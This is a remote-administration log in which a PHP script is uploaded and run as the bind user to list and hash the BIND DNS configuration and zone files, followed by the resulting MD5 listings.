MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:48:49: Establishing a connection
2026-04-23 17:48:49: 

PUT: /tmp/pkp542097

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:48:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp542097; rm /tmp/pkp542097'

2026-04-23 17:48:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:48:50: Establishing a connection
2026-04-23 17:48:50: 

PUT: /tmp/pkp989591

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:48:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp989591; rm /tmp/pkp989591'

2026-04-23 17:48:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
